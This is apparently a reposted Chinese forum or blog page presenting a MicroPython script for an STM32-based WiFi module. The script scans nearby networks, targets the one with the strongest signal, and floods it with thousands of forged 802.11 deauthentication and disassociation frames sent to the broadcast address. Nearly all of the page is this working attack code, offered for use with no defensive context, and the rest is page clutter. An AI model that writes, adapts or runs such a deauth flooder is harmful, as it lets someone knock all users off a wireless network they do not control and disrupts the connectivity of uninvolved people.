stm32 micropython usb wifi_STM32/STM8-MicroPython实现wifi干扰与抓包-电路城论坛 - 电子工程师学习交流园地...

import time

import uos

import wireless

sta_if=wireless.attack(0)#0:STA 模式

sta_if.active(True)

ap_list=sta_if.scan()

print(ap_list)

ssid=''

bssid=''#bssid:AP MAC address

channel=''#信道

_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认

def deauth(_ap,_client,type,reason):

# 0 - 1   type, subtype c0: deauth (a0: disassociate)

# 2 - 3   duration (SDK takes care of that)

# 4 - 9   reciever (target)

# 10 - 15 source (ap)

# 16 - 21 BSSID (ap)

# 22 - 23 fragment & squence number

# 24 - 25 reason code (1 = unspecified reason)

packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])

for i in range(0,6):

packet[4 + i] =_client[i]

packet[10 + i] = packet[16 + i] =_ap[i]

#set type

packet[0] = type;

packet[24] = reason

result=sta_if.send_pkt_freedom(packet)

if result==0:

time.sleep_ms(1)

return True

else:

return False

if __name__=="__main__":

max_rssid=0

max_id=0

num=0

#获取信号最强的AP 进行攻击

for i in ap_list:

if max_rssid==0:

max_rssid=i[3]#rssid

else:

if i[3]>max_rssid:

max_rssid=i[3]

max_id=num

num+=1

ssid=ap_list[max_id][0]

bssid=ap_list[max_id][1]

channel=ap_list[max_id][2]

print('ssid:',ssid,'-bssid:',bssid)

print('-channel:',channel,'-rssid:',max_rssid)

sendNum=5000#攻击次数

print('******************************')

if sta_if.setAttack(channel):

print('Set Attack OK')

time.sleep_ms(100)

print('---deauth runing-----')

for i in range(0,sendNum):

r_=deauth(bssid, _client, 0xC0, 0x01)

if r_:

deauth(bssid, _client, 0xA0, 0x01)

deauth(_client, bssid, 0xC0, 0x01)

deauth(_client, bssid, 0xA0, 0x01)

time.sleep_ms(5)

else:

print('---deauth fail-------')

time.sleep_ms(5000)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值